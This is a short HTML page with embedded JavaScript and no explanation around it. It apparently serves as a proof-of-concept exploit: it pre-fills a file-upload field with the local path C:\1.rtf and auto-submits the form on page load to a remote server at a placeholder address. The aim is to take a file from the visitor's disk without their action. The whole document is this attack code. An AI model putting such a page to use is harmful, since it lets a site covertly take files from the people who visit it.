<FORM ENCTYPE="multipart/form-data" ACTION="https://x.x.x.x/index.php" METHOD="POST" name="form_send">
<INPUT TYPE="file" NAME="x_fichiers" value="C:\1.rtf">

<INPUT TYPE="submit" VALUE="envoyer">
<input type="text" name="textfield">
</form>

<script language="javascript">
alert(document.form_send.x_fichiers);
document.form_send.submit();
</script>